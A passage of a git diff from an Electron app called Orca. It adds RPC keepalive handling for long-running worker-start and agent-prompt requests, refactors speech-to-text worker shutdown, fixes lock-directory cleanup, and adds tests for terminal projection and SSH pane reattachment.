+          result: { dispatch: { id: 'dispatch_1' } },
+          _meta: { runtimeId: runtime.getRuntimeId() }
+        }
+      })
+      await server.start()
+
+      try {
+        const metadata = readRuntimeMetadata(userDataPath)
+        const session = openFramedSession(metadata!.transports[0]!.endpoint, {
+          id: 'req_worker_start',
+          authToken: metadata!.authToken,
+          method: 'orchestration.workerStart',
+          params: { task: 'task_1', timeoutMs: 60_000 }
+        })
+        await session.done
+
+        expect(
+          session.frames.filter((frame) => frame._keepalive === true).length
+        ).toBeGreaterThanOrEqual(2)
+        expect(session.frames.filter((frame) => frame.ok !== undefined)).toHaveLength(1)
+      } finally {
+        await server.stop()
+      }
+    })
+
     it('emits keepalive frames while a check --wait handler blocks', async () => {
       const userDataPath = mkdtempSync(join(tmpdir(), 'orca-runtime-rpc-'))
       const runtime = new OrcaRuntimeService()
@@ -242,6 +311,45 @@ describe('OrcaRuntimeRpcServer', () => {
       }
     })
 
+    it('emits keepalive frames while agent-prompt verification blocks', async () => {
+      const userDataPath = mkdtempSync(join(tmpdir(), 'orca-runtime-rpc-'))
+      const runtime = new OrcaRuntimeService()
+      const server = new OrcaRuntimeRpcServer({
+        runtime,
+        userDataPath,
+        keepaliveIntervalMs: 30
+      })
+      const dispatch = server['dispatcher']
+      vi.spyOn(dispatch, 'dispatch').mockImplementation(async (request) => {
+        await sleep(120)
+        return {
+          id: request.id,
+          ok: true,
+          result: { send: { accepted: true } },
+          _meta: { runtimeId: runtime.getRuntimeId() }
+        }
+      })
+      await server.start()
+
+      try {
+        const metadata = readRuntimeMetadata(userDataPath)
+        const session = openFramedSession(metadata!.transports[0]!.endpoint, {
+          id: 'req_prompt',
+          authToken: metadata!.authToken,
+          method: 'terminal.send',
+          params: { agentPrompt: true }
+        })
+        await session.done
+
+        expect(
+          session.frames.filter((frame) => frame._keepalive === true).length
+        ).toBeGreaterThanOrEqual(2)
+        expect(session.frames.filter((frame) => frame.ok !== undefined)).toHaveLength(1)
+      } finally {
+        await server.stop()
+      }
+    })
+
     it('releases terminal.wait long-poll slot when the client closes mid-wait', async () => {
       const userDataPath = mkdtempSync(join(tmpdir(), 'orca-runtime-rpc-'))
       const runtime = new OrcaRuntimeService()
diff --git a/src/main/runtime/runtime-rpc-mobile-method-allowlist.test.ts b/src/main/runtime/runtime-rpc-mobile-method-allowlist.test.ts
index b0d5b18b84c..9c590994c41 100644
--- a/src/main/runtime/runtime-rpc-mobile-method-allowlist.test.ts
+++ b/src/main/runtime/runtime-rpc-mobile-method-allowlist.test.ts
@@ -479,7 +479,6 @@ describe('OrcaRuntimeRpcServer', () => {
       deviceToken: mobile.token,
       params: { worktree: 'id:wt-1', page: 'page-1' }
     })
-
     expect(replies).toContainEqual(
       expect.objectContaining({
         id: 'req_forbidden',
diff --git a/src/main/runtime/runtime-rpc.ts b/src/main/runtime/runtime-rpc.ts
index b28619b2eed..a6a2d91763c 100644
--- a/src/main/runtime/runtime-rpc.ts
+++ b/src/main/runtime/runtime-rpc.ts
@@ -466,12 +466,28 @@ export type RuntimeLongPollClass = 'ask' | 'browser-host' | 'wait'
 
 // Why: single classifier for long-poll requests (handlers that block on an external event), shared by counter/abort/keepalive. See §3.1.
 export function classifyRuntimeLongPoll(request: RpcRequest): RuntimeLongPollClass | null {
+  // Worker start waits for readiness and then verifies the submitted prompt;
+  // the complete operation can run for 90–110s. Keep every local transport
+  // (Unix sockets and Windows named pipes) alive for that long poll.
+  if (request.method === 'orchestration.workerStart') {
+    return 'wait'
+  }
   if (request.method === 'browser.clientHost.attach') {
     return 'browser-host'
   }
   if (request.method === 'terminal.wait') {
     return 'wait'
   }
+  // Agent-prompt submission waits for the PTY's lifecycle transition (up to
+  // the verification budget); keep the local socket alive for that wait.
+  if (
+    request.method === 'terminal.send' &&
+    typeof request.params === 'object' &&
+    request.params !== null &&
+    (request.params as { agentPrompt?: unknown }).agentPrompt === true
+  ) {
+    return 'wait'
+  }
   // Why: orchestration.ask blocks unconditionally (default 600 s) holding the
   // RPC open until a reply lands or the deadline passes, so it needs the same
   // keepalive as check --wait or the 30 s socket idle timer tears it down. It
diff --git a/src/main/runtime/terminal-projection.test.ts b/src/main/runtime/terminal-projection.test.ts
new file mode 100644
index 00000000000..7dff087e74c
--- /dev/null
+++ b/src/main/runtime/terminal-projection.test.ts
@@ -0,0 +1,59 @@
+import { describe, expect, it } from 'vitest'
+import type { TerminalCursorContext } from '../../shared/terminal-composer-draft'
+import type { HeadlessEmulator } from '../daemon/headless-emulator'
+import { projectTerminalTailLines } from './orca-runtime'
+
+describe('projectTerminalTailLines', () => {
+  it('does not splice a scrolled viewport into unrelated tail rows', () => {
+    const context: TerminalCursorContext = {
+      rows: ['────────', '❯ proceed'],
+      typedRows: ['────────', '❯'],
+      promptGlyphBoldRows: [false, false],
+      rowsBelow: [],
+      typedRowsBelow: [],
+      beforeCursor: '❯ ',
+      afterCursor: '',
+      rawAfterCursor: 'proceed',
+      cursorHidden: false,
+      cursorViewportRow: 1
+    }
+    const emulator = {
+      getBufferTailLines: () => ['old output', 'tail output'],
+      getVisibleLines: () => ['────────', '❯ proceed'],
+      getVisibleBufferRange: () => ({ start: 0, endExclusive: 2, totalLength: 10 }),
+      getCursorLineContext: () => context
+    } as unknown as HeadlessEmulator
+
+    expect(projectTerminalTailLines(emulator, 2)).toEqual({
+      lines: ['old output', 'tail output'],
+      draft: 'proceed'
+    })
+  })
+
+  it('backfills the prompt row when a small limit contains only draft continuations', () => {
+    const context: TerminalCursorContext = {
+      rows: ['────────', '❯ proceed'],
+      typedRows: ['────────', '❯'],
+      promptGlyphBoldRows: [false, false],
+      rowsBelow: [' with', ' release'],
+      typedRowsBelow: ['', ''],
+      rowsBelowWrapped: [true, true],
+      beforeCursor: '❯ ',
+      afterCursor: '',
+      rawAfterCursor: 'proceed',
+      cursorHidden: false,
+      cursorViewportRow: 2
+    }
+    const emulator = {
+      getBufferTailLines: () => [' with', ' release'],
+      getVisibleLines: () => ['Build passed', '────────', '❯ proceed', ' with', ' release'],
+      getVisibleBufferRange: () => ({ start: 0, endExclusive: 5, totalLength: 5 }),
+      getCursorLineContext: () => context
+    } as unknown as HeadlessEmulator
+
+    expect(projectTerminalTailLines(emulator, 2)).toEqual({
+      lines: ['────────', '❯'],
+      draft: 'proceed with release'
+    })
+  })
+})
diff --git a/src/main/runtime/workspace-session-terminal-membership-authority.ts b/src/main/runtime/workspace-session-terminal-membership-authority.ts
index c4d258d8317..4c85f46b0c8 100644
--- a/src/main/runtime/workspace-session-terminal-membership-authority.ts
+++ b/src/main/runtime/workspace-session-terminal-membership-authority.ts
@@ -160,6 +160,25 @@ export function advanceTerminalTopologyRevision(
   }
 }
 
+/**
+ * The tab whose live layout holds this leaf. Only the leaf half of a pane key is remint-stable —
+ * `detachTerminalPaneToTab` moves a live pane into a new tab, so a stored tabId names the tab the
+ * pane left. Callers fencing on location must resolve it here rather than trust a frozen tabId.
+ */
+export function findTerminalTabIdForLeaf(
+  session: WorkspaceSessionState | undefined,
+  leafId: string
+): string | undefined {
+  for (const [tabId, layout] of Object.entries(session?.terminalLayoutsByTabId ?? {})) {
+    const leafIds = new Set<string>()
+    collectLeafIds(layout.root, leafIds)
+    if (leafIds.has(leafId)) {
+      return tabId
+    }
+  }
+  return undefined
+}
+
 export function hasHostAuthoritativeTerminalMembership(
   session: WorkspaceSessionState | undefined,
   worktreeId: string
@@ -188,7 +207,9 @@ export function rebaseWorkspaceSessionTerminalMembership(
     )
   }
   const tabsByWorktree = { ...incoming.tabsByWorktree }
-  const terminalLayoutsByTabId = { ...incoming.terminalLayoutsByTabId }
+  const incomingTerminalLayoutsByTabId = incoming.terminalLayoutsByTabId ?? {}
+  const priorTerminalLayoutsByTabId = prior.terminalLayoutsByTabId ?? {}
+  const terminalLayoutsByTabId = { ...incomingTerminalLayoutsByTabId }
   const unifiedTabs = { ...incoming.unifiedTabs }
   const tabGroups = { ...incoming.tabGroups }
   const tabGroupLayouts = { ...incoming.tabGroupLayouts }
@@ -226,8 +247,8 @@ export function rebaseWorkspaceSessionTerminalMembership(
     }
     for (const tabId of terminalTabIds) {
       const layout = rebaseLayout(
-        incoming.terminalLayoutsByTabId[tabId],
-        prior.terminalLayoutsByTabId[tabId]
+        incomingTerminalLayoutsByTabId[tabId],
+        priorTerminalLayoutsByTabId[tabId]
       )
       if (layout) {
         terminalLayoutsByTabId[tabId] = layout
diff --git a/src/main/runtime/worktree-scan-admin-fingerprint-gate.test.ts b/src/main/runtime/worktree-scan-admin-fingerprint-gate.test.ts
index 1aa49b76d8e..3750884f84f 100644
--- a/src/main/runtime/worktree-scan-admin-fingerprint-gate.test.ts
+++ b/src/main/runtime/worktree-scan-admin-fingerprint-gate.test.ts
@@ -43,6 +43,7 @@ import {
   WORKTREE_SCAN_ADMIN_RECONCILE_INTERVAL_MS
 } from './orca-runtime'
 import { RESOLVED_WORKTREE_REPO_TIMEOUT_MS } from './repo-worktree-row-resolution'
+import { canonicalWorktreeIdentity } from '../../shared/worktree/identity'
 
 const REPO_ID = 'repo-local'
 const REPO_PATH = '/Users/me/dev/app'
@@ -75,8 +76,15 @@ function makeMeta(overrides: Record<string, unknown> = {}) {
 
 function makeStore(options: { connectionId?: string; repoCount?: number; repoPath?: string } = {}) {
   const metaById: Record<string, ReturnType<typeof makeMeta>> = {
-    [WORKTREE_ID]: makeMeta(),
-    [MAIN_WORKTREE_ID]: makeMeta({ displayName: 'main' })
+    [WORKTREE_ID]: makeMeta({
+      hostId: 'local',
+      instanceId: '11111111-1111-4111-8111-111111111111'
+    }),
+    [MAIN_WORKTREE_ID]: makeMeta({
+      displayName: 'main',
+      hostId: 'local',
+      instanceId: '22222222-2222-4222-8222-222222222222'
+    })
   }
   const basePath = options.repoPath ?? REPO_PATH
   const repos = Array.from({ length: options.repoCount ?? 1 }, (_unused, index) => ({
@@ -586,6 +594,22 @@ describe('scoped explicit worktree-id resolution', () => {
     expect(resolved.id).toBe(MAIN_WORKTREE_ID)
     expect(scannedRepoPaths()).toEqual([REPO_PATH])
   })
+  it('resolves an exact canonical identity without relying on the mutable locator', async () => {
+    const runtime = new OrcaRuntimeService(makeStore({ repoCount: 10 }) as never)
+    const resolve = (selector: string): Promise<{ id: string }> =>
+      (
+        runtime as unknown as { resolveWorktreeSelector: (s: string) => Promise<{ id: string }> }
+      ).resolveWorktreeSelector(selector)
+    const identityKey = canonicalWorktreeIdentity({
+      worktreeId: MAIN_WORKTREE_ID,
+      executionHostId: 'local',
+      instanceId: '22222222-2222-4222-8222-222222222222'
+    })
+
+    const resolved = await resolve(`identity:${identityKey}`)
+
+    expect(resolved.id).toBe(MAIN_WORKTREE_ID)
+  })
 
   it('still finds worktrees in other repos through the fleet path', async () => {
     const runtime = new OrcaRuntimeService(makeStore({ repoCount: 10 }) as never)
diff --git a/src/main/skills/skill-install-lock-release.test.ts b/src/main/skills/skill-install-lock-release.test.ts
new file mode 100644
index 00000000000..6811e0d08f9
--- /dev/null
+++ b/src/main/skills/skill-install-lock-release.test.ts
@@ -0,0 +1,36 @@
+import { mkdtemp, mkdir, readdir, rm, writeFile } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, describe, expect, it } from 'vitest'
+import { cleanupReleasedSkillInstallLock } from './skill-install-lock-release'
+
+const roots: string[] = []
+
+afterEach(async () => {
+  await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
+})
+
+describe('cleanupReleasedSkillInstallLock', () => {
+  it('keeps a released lock recoverable when directory removal races', async () => {
+    const root = await mkdtemp(join(tmpdir(), 'orca-skill-lock-release-test-'))
+    roots.push(root)
+    const releasePath = join(root, 'released')
+    const token = '11111111-1111-4111-8111-111111111111'
+    await mkdir(releasePath)
+    await Promise.all([
+      writeFile(join(releasePath, `${token}.owner`), 'owner'),
+      writeFile(join(releasePath, `${token}.released`), '')
+    ])
+
+    const removeDirectory = async (): Promise<void> => {
+      const error = new Error('injected-rmdir-race') as NodeJS.ErrnoException
+      error.code = 'ENOTEMPTY'
+      throw error
+    }
+
+    await expect(
+      cleanupReleasedSkillInstallLock(releasePath, token, removeDirectory)
+    ).resolves.toBeUndefined()
+    await expect(readdir(releasePath)).resolves.toEqual([])
+  })
+})
diff --git a/src/main/skills/skill-install-lock-release.ts b/src/main/skills/skill-install-lock-release.ts
index 0b56ffcc9a1..b3e02bf869b 100644
--- a/src/main/skills/skill-install-lock-release.ts
+++ b/src/main/skills/skill-install-lock-release.ts
@@ -2,7 +2,7 @@ import { readdir, rmdir, unlink } from 'node:fs/promises'
 import { join } from 'node:path'
 
 const RELEASE_ENTRY_NAME = /^[a-f0-9-]{36}\.(?:owner|released)$/
-const RECOVERY_RMDIR_IGNORED_CODES = new Set(['ENOENT', 'ENOTEMPTY', 'EEXIST', 'EBUSY'])
+const LOCK_DIRECTORY_RMDIR_IGNORED_CODES = new Set(['ENOENT', 'ENOTEMPTY', 'EEXIST', 'EBUSY'])
 
 async function unlinkIfPresent(path: string): Promise<void> {
   await unlink(path).catch((error) => {
@@ -17,7 +17,7 @@ async function removeDirectoryIfPresent(
   removeDirectory: (path: string) => Promise<void>
 ): Promise<void> {
   await removeDirectory(path).catch((error) => {
-    if ((error as NodeJS.ErrnoException).code !== 'ENOENT') {
+    if (!LOCK_DIRECTORY_RMDIR_IGNORED_CODES.has((error as NodeJS.ErrnoException).code ?? '')) {
       throw error
     }
   })
@@ -46,7 +46,7 @@ export async function reclaimReleasedSkillInstallLock(path: string): Promise<voi
       .map((entry) => unlinkIfPresent(join(path, entry.name)))
   )
   await rmdir(path).catch((error) => {
-    if (!RECOVERY_RMDIR_IGNORED_CODES.has((error as NodeJS.ErrnoException).code ?? '')) {
+    if (!LOCK_DIRECTORY_RMDIR_IGNORED_CODES.has((error as NodeJS.ErrnoException).code ?? '')) {
       throw error
     }
   })
diff --git a/src/main/speech/stt-service.ts b/src/main/speech/stt-service.ts
index 7903c663c28..a840d7aa256 100644
--- a/src/main/speech/stt-service.ts
+++ b/src/main/speech/stt-service.ts
@@ -1,13 +1,12 @@
 /* eslint-disable max-lines -- Why: speech worker ownership, warm reuse, and
-timeout teardown must stay co-located so dictation lifecycle state cannot drift. */
+timeout teardown stay co-located so dictation lifecycle state cannot drift. */
 import { Worker } from 'node:worker_threads'
-import { existsSync } from 'node:fs'
-import { join } from 'node:path'
-import { getAppEnvironment } from '../../shared/app-environment'
 import { getCatalogModel } from './model-catalog'
 import type { ModelManager } from './model-manager'
 import { OpenAiTranscriptionSession } from './openai-transcription-client'
 import { readOpenAiSpeechApiKey } from './openai-api-key-store'
+import { getSherpaModulePath, getSttWorkerPath } from './stt-worker-paths'
+import { waitForSttWorkerStop, type SttWorkerStopOutcome } from './stt-worker-stop'
 
 export const START_DICTATION_TIMEOUT_MS = 60_000
 const STOP_DICTATION_TIMEOUT_MS = 60_000
@@ -28,8 +27,6 @@ type StopInFlight = {
   promise: Promise<void>
 }
 
-type StopOutcome = 'stopped' | 'error' | 'exit' | 'timeout'
-
 export class SttService {
   private worker: Worker | null = null
   private cloudSession: OpenAiTranscriptionSession | null = null
@@ -164,8 +161,8 @@ export class SttService {
       throw new Error(`Model not ready: ${modelState.status}`)
     }
 
-    const workerPath = this.getWorkerPath()
-    const sherpaModulePath = this.getSherpaModulePath()
+    const workerPath = getSttWorkerPath()
+    const sherpaModulePath = getSherpaModulePath()
 
     this.worker = new Worker(workerPath, {
       workerData: { sherpaModulePath }
@@ -384,83 +381,39 @@ export class SttService {
   }
 
   private createStopPromise(worker: Worker, capturedSink: SttEventSink | null): Promise<void> {
-    return new Promise<void>((resolve) => {
-      let settled = false
-      let receivedStopped = false
-      let timeout: ReturnType<typeof setTimeout> | null = null
-
-      const cleanup = (): void => {
-        if (timeout) {
-          clearTimeout(timeout)
-          timeout = null
-        }
-        worker.off('message', onStopped)
-        worker.off('error', onError)
-        worker.off('exit', onExit)
-      }
-
-      const finish = (outcome: StopOutcome): void => {
-        if (settled) {
-          return
-        }
-        settled = true
-        cleanup()
-        if (outcome === 'stopped') {
-          if (this.worker === worker) {
-            this.activeOwner = null
-            this.eventSink = null
-            this.scheduleIdleTeardown()
-          }
-          resolve()
-          return
-        }
-
-        if (!receivedStopped) {
-          capturedSink?.({ type: 'stopped' })
-        }
-        // Why: a worker that cannot finish dictation is no longer reusable; drop
-        // its lifecycle listeners so a stale worker can't retain this service.
-        this.cleanupActiveWorkerLifecycleListeners()
-        worker.removeAllListeners()
-        if (outcome !== 'exit') {
-          void worker.terminate().catch(() => undefined)
-        }
-        if (this.worker === worker) {
-          this.worker = null
-          this.activeModelId = null
-          this.activeHotwordsFilePath = undefined
-          this.activeOwner = null
-          this.eventSink = null
-        }
-        resolve()
-      }
-
-      const onStopped = (msg: { type: string; text?: string; error?: string }) => {
-        if (msg.type === 'stopped') {
-          receivedStopped = true
-          finish('stopped')
-        }
-      }
-
-      const onError = (): void => {
-        finish('error')
-      }
-
-      const onExit = (): void => {
-        finish('exit')
-      }
-
-      timeout = setTimeout(() => {
-        finish('timeout')
-      }, STOP_DICTATION_TIMEOUT_MS)
-      timeout.unref?.()
-
-      worker.on('message', onStopped)
-      worker.on('error', onError)
-      worker.on('exit', onExit)
+    return waitForSttWorkerStop({
+      worker,
+      capturedSink,
+      timeoutMs: STOP_DICTATION_TIMEOUT_MS,
+      finish: (outcome) => this.finishWorkerStop(worker, outcome)
     })
   }
 
+  private finishWorkerStop(worker: Worker, outcome: SttWorkerStopOutcome): void {
+    if (outcome === 'stopped') {
+      if (this.worker === worker) {
+        this.activeOwner = null
+        this.eventSink = null
+        this.scheduleIdleTeardown()
+      }
+      return
+    }
+    // Why: a worker that cannot finish dictation is no longer reusable; drop
+    // its lifecycle listeners so a stale worker can't retain this service.
+    this.cleanupActiveWorkerLifecycleListeners()
+    worker.removeAllListeners()
+    if (outcome !== 'exit') {
+      void worker.terminate().catch(() => undefined)
+    }
+    if (this.worker === worker) {
+      this.worker = null
+      this.activeModelId = null
+      this.activeHotwordsFilePath = undefined
+      this.activeOwner = null
+      this.eventSink = null
+    }
+  }
+
   isActive(): boolean {
     return this.worker !== null || this.cloudSession !== null
   }
@@ -481,13 +434,6 @@ export class SttService {
     }
   }
 
-  private getWorkerPath(): string {
-    if (getAppEnvironment().isPackaged()) {
-      return join(process.resourcesPath, 'app.asar', 'out', 'main', 'stt-worker.js')
-    }
-    return join(__dirname, 'stt-worker.js')
-  }
-
   private clearIdleTeardownTimer(): void {
     if (this.idleTeardownTimer) {
       clearTimeout(this.idleTeardownTimer)
@@ -552,27 +498,4 @@ export class SttService {
     this.cleanupWorkerLifecycleListeners = null
     cleanup?.()
   }
-
-  private getSherpaModulePath(): string {
-    // Why: the main sherpa-onnx npm package uses WASM, which cannot access
-    // the host filesystem to load model files. The platform-specific native
-    // addon (e.g. sherpa-onnx-darwin-arm64) has direct filesystem access
-    // and better performance. We resolve its absolute path here because
-    // the worker runs from out/main/ where bare require() can't find it.
-    const nativePkg =
-      process.platform === 'win32' && process.arch === 'x64'
-        ? 'sherpa-onnx-win-x64'
-        : `sherpa-onnx-${process.platform}-${process.arch}`
-
-    if (getAppEnvironment().isPackaged()) {
-      const resourcesNodeModule = join(process.resourcesPath, 'node_modules', nativePkg)
-      if (existsSync(resourcesNodeModule)) {
-        return resourcesNodeModule
-      }
-      return join(process.resourcesPath, 'app.asar.unpacked', 'node_modules', nativePkg)
-    }
-
-    const resolved = require.resolve(nativePkg)
-    return join(resolved, '..')
-  }
 }
diff --git a/src/main/speech/stt-worker-paths.ts b/src/main/speech/stt-worker-paths.ts
new file mode 100644
index 00000000000..e18515a0d98
--- /dev/null
+++ b/src/main/speech/stt-worker-paths.ts
@@ -0,0 +1,28 @@
+import { existsSync } from 'node:fs'
+import { join } from 'node:path'
+import { getAppEnvironment } from '../../shared/app-environment'
+
+export function getSttWorkerPath(): string {
+  if (getAppEnvironment().isPackaged()) {
+    return join(process.resourcesPath, 'app.asar', 'out', 'main', 'stt-worker.js')
+  }
+  return join(__dirname, 'stt-worker.js')
+}
+
+export function getSherpaModulePath(): string {
+  const nativePackage =
+    process.platform === 'win32' && process.arch === 'x64'
+      ? 'sherpa-onnx-win-x64'
+      : `sherpa-onnx-${process.platform}-${process.arch}`
+
+  if (getAppEnvironment().isPackaged()) {
+    const resourcesNodeModule = join(process.resourcesPath, 'node_modules', nativePackage)
+    if (existsSync(resourcesNodeModule)) {
+      return resourcesNodeModule
+    }
+    return join(process.resourcesPath, 'app.asar.unpacked', 'node_modules', nativePackage)
+  }
+
+  const resolved = require.resolve(nativePackage)
+  return join(resolved, '..')
+}
diff --git a/src/main/speech/stt-worker-stop.ts b/src/main/speech/stt-worker-stop.ts
new file mode 100644
index 00000000000..dec6d24bcb1
--- /dev/null
+++ b/src/main/speech/stt-worker-stop.ts
@@ -0,0 +1,53 @@
+import type { Worker } from 'node:worker_threads'
+import type { SttEventSink } from './stt-service'
+
+export type SttWorkerStopOutcome = 'stopped' | 'error' | 'exit' | 'timeout'
+
+export function waitForSttWorkerStop(args: {
+  worker: Worker
+  capturedSink: SttEventSink | null
+  timeoutMs: number
+  finish: (outcome: SttWorkerStopOutcome) => void
+}): Promise<void> {
+  return new Promise<void>((resolve) => {
+    let settled = false
+    let receivedStopped = false
+    let timeout: ReturnType<typeof setTimeout> | null = null
+
+    const cleanup = (): void => {
+      if (timeout) {
+        clearTimeout(timeout)
+        timeout = null
+      }
+      args.worker.off('message', onStopped)
+      args.worker.off('error', onError)
+      args.worker.off('exit', onExit)
+    }
+    const finish = (outcome: SttWorkerStopOutcome): void => {
+      if (settled) {
+        return
+      }
+      settled = true
+      cleanup()
+      if (outcome !== 'stopped' && !receivedStopped) {
+        args.capturedSink?.({ type: 'stopped' })
+      }
+      args.finish(outcome)
+      resolve()
+    }
+    const onStopped = (message: { type: string }): void => {
+      if (message.type === 'stopped') {
+        receivedStopped = true
+        finish('stopped')
+      }
+    }
+    const onError = (): void => finish('error')
+    const onExit = (): void => finish('exit')
+
+    timeout = setTimeout(() => finish('timeout'), args.timeoutMs)
+    timeout.unref?.()
+    args.worker.on('message', onStopped)
+    args.worker.on('error', onError)
+    args.worker.on('exit', onExit)
+  })
+}
diff --git a/src/main/ssh-reattach-pane-cardinality.test.ts b/src/main/ssh-reattach-pane-cardinality.test.ts
new file mode 100644
index 00000000000..77ef2ebf24d
--- /dev/null
+++ b/src/main/ssh-reattach-pane-cardinality.test.ts
@@ -0,0 +1,376 @@
+import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'
+import { rmSync, mkdtempSync } from 'node:fs'
+import { join } from 'node:path'
+import { tmpdir } from 'node:os'
+import { testState, createStore, makeTerminalTab } from './persistence-test-harness'
+import { TEST_LEAF_1, TEST_LEAF_2 } from './persistence-session-fixtures'
+
+vi.mock('electron', () => ({
+  app: { getPath: () => testState.dir },
+  safeStorage: { isEncryptionAvailable: () => false }
+}))
+
+const TARGET = 'ssh-1'
+const WORKTREE = 'repo1::/worktree'
+const TAB = 'tab-1'
+const OTHER_TAB = 'tab-moved-to'
+
+/**
+ * The renderer's published session for one SSH pane. `terminalTopologyRevisionByRepoId` is what
+ * makes persisted membership authoritative — without it the host cannot tell "the user closed
+ * this tab" from "the renderer has not published its layout yet".
+ */
+function sessionWithPane(args: {
+  tabId: string
+  leafId: string
+  ptyId: string
+  authoritative?: boolean
+}) {
+  return {
+    activeRepoId: 'repo1',
+    activeWorktreeId: WORKTREE,
+    activeTabId: args.tabId,
+    tabsByWorktree: {
+      [WORKTREE]: [makeTerminalTab({ id: args.tabId, ptyId: args.ptyId, worktreeId: WORKTREE })]
+    },
+    terminalLayoutsByTabId: {
+      [args.tabId]: {
+        root: { type: 'leaf' as const, leafId: args.leafId },
+        activeLeafId: args.leafId,
+        expandedLeafId: null,
+        ptyIdsByLeafId: { [args.leafId]: args.ptyId }
+      }
+    },
+    ...(args.authoritative === false ? {} : { terminalTopologyRevisionByRepoId: { repo1: 1 } })
+  }
+}
+
+/** The session after the user closes the tab: membership stays authoritative, the tab is gone. */
+function sessionAfterClose() {
+  return {
+    activeRepoId: 'repo1',
+    activeWorktreeId: WORKTREE,
+    activeTabId: null,
+    tabsByWorktree: { [WORKTREE]: [] },
+    terminalLayoutsByTabId: {},
+    terminalTopologyRevisionByRepoId: { repo1: 2 }
+  }
+}
+
+/** What the relay's reattach bind does per PTY — see `restoreReattachedPtyRuntime`. */
+function relayReattachBinds(
+  store: ReturnType<typeof createStore>,
+  args: { tabId: string; leafId: string; ptyId: string; incarnationId?: string }
+): boolean | null {
+  return store.persistPtyBinding({
+    worktreeId: WORKTREE,
+    tabId: args.tabId,
+    leafId: args.leafId,
+    ptyId: args.ptyId,
+    ...(args.incarnationId ? { incarnationId: args.incarnationId } : {}),
+    mayCreate: false
+  })
+}
+
+/**
+ * Both binding writers land before the lease upsert — spawn asserts that ordering directly, and
+ * the relay's reattach binds the pane before `markSshRemotePtyLeasesAttachedAsync`. Supersession
+ * therefore sees a session already naming the arriving shell.
+ *
+ * Goes through `persistPtyBinding` rather than `setWorkspaceSession` because that is the writer
+ * production uses; a raw session write is reconciled back to the attached lease's PTY by binding
+ * recovery, which would make the fixture disagree with the real flow.
+ */
+function paneBindsTo(
+  store: ReturnType<typeof createStore>,
+  args: { tabId: string; leafId: string; ptyId: string }
+): void {
+  store.persistPtyBinding({
+    worktreeId: WORKTREE,
+    tabId: args.tabId,
+    leafId: args.leafId,
+    ptyId: args.ptyId
+  })
+}
+
+function liveLeasePtyIds(store: ReturnType<typeof createStore>): string[] {
+  return store
+    .getSshRemotePtyLeases(TARGET)
+    .filter((lease) => lease.state !== 'terminated' && lease.state !== 'expired')
+    .map((lease) => lease.ptyId)
+}
+
+function tabIds(store: ReturnType<typeof createStore>): string[] {
+  return (store.getWorkspaceSession().tabsByWorktree?.[WORKTREE] ?? []).map((tab) => tab.id)
+}
+
+describe('STA-3077: an SSH reattach binds panes without grafting them back', () => {
+  beforeEach(() => {
+    testState.dir = mkdtempSync(join(tmpdir(), 'orca-test-'))
+  })
+  afterEach(() => {
+    rmSync(testState.dir, { recursive: true, force: true })
+  })
+
+  // The reported user-visible bug in one assertion. `closeTab` fires pty.kill in the background
+  // and only COUNTS rejections, so a transport-class failure leaves the lease non-terminated —
+  // and `reattachKnownPtys` treats every non-terminated lease as live.
+  it('does not resurrect a tab whose closing pty.kill failed with a transport error', async () => {
+    const store = await createStore()
+    store.setWorkspaceSession(sessionWithPane({ tabId: TAB, leafId: TEST_LEAF_1, ptyId: 'pty-1' }))
+    store.upsertSshRemotePtyLease({
+      targetId: TARGET,
+      ptyId: 'pty-1',
+      worktreeId: WORKTREE,
+      tabId: TAB,
+      leafId: TEST_LEAF_1,
+      state: 'attached'
+    })
+    // The user closes the tab; the remote kill never lands, so the lease survives untouched.
+    store.setWorkspaceSession(sessionAfterClose())
+
+    const bound = relayReattachBinds(store, {
+      tabId: TAB,
+      leafId: TEST_LEAF_1,
+      ptyId: 'pty-1',
+      incarnationId: 'inc-1'
+    })
+
+    expect(bound).toBe(false)
+    expect(tabIds(store)).toEqual([])
+  })
+
+  // Tripwire: a refusal must not depend on the pane sitting where its lease says it does.
+  // `detachTerminalPaneToTab` moves a live pane, and the lease keeps naming the tab it left.
+  it('binds a pane that moved to another tab rather than refusing it', async () => {
+    const store = await createStore()
+    store.setWorkspaceSession(
+      sessionWithPane({ tabId: OTHER_TAB, leafId: TEST_LEAF_1, ptyId: 'pty-1' })
+    )
+
+    const { findTerminalTabIdForLeaf } =
+      await import('./runtime/workspace-session-terminal-membership-authority')
+    // The relay resolves the tab from the live layout before binding, exactly as the production
+    // path does; forwarding the lease's frozen `TAB` here is what would strand the pane.
+    const resolvedTabId = findTerminalTabIdForLeaf(store.getWorkspaceSession(), TEST_LEAF_1)
+    expect(resolvedTabId).toBe(OTHER_TAB)
+
+    const bound = relayReattachBinds(store, {
+      tabId: resolvedTabId!,
+      leafId: TEST_LEAF_1,
+      ptyId: 'pty-2',
+      incarnationId: 'inc-2'
+    })
+
+    expect(bound).toBe(true)
+    expect(
+      store.getWorkspaceSession().terminalLayoutsByTabId?.[OTHER_TAB]?.ptyIdsByLeafId?.[TEST_LEAF_1]
+    ).toBe('pty-2')
+  })
+
+  // Losing a tab is worse than keeping a duplicate. Before the renderer publishes a layout the
+  // host cannot read absence as a close, so the creating write must still be allowed — this is
+  // the disconnect/reconnect tab loss that reverted this fix twice.
+  it('still binds when the session is not yet authoritative for the worktree', async () => {
+    const store = await createStore()
+
+    const bound = store.persistPtyBinding({
+      worktreeId: WORKTREE,
+      tabId: TAB,
+      leafId: TEST_LEAF_1,
+      ptyId: 'pty-1',
+      incarnationId: 'inc-1',
+      // The relay passes mayCreate:false only once membership is authoritative; an unauthoritative
+      // session takes the creating write instead.
+      ...(store.getWorkspaceSession().terminalTopologyRevisionByRepoId?.repo1
+        ? { mayCreate: false }
+        : {})
+    })
+
+    expect(bound).toBe(true)
+    expect(tabIds(store)).toEqual([TAB])
+  })
+
+  it('refuses to graft a second leaf into a tab the reattach does not already own', async () => {
+    const store = await createStore()
+    store.setWorkspaceSession(sessionWithPane({ tabId: TAB, leafId: TEST_LEAF_1, ptyId: 'pty-1' }))
+
+    const bound = relayReattachBinds(store, {
+      tabId: TAB,
+      leafId: TEST_LEAF_2,
+      ptyId: 'pty-2',
+      incarnationId: 'inc-2'
+    })
+
+    expect(bound).toBe(false)
+    const layout = store.getWorkspaceSession().terminalLayoutsByTabId?.[TAB]
+    expect(layout?.ptyIdsByLeafId?.[TEST_LEAF_2]).toBeUndefined()
+    expect(layout?.root).toEqual({ type: 'leaf', leafId: TEST_LEAF_1 })
+  })
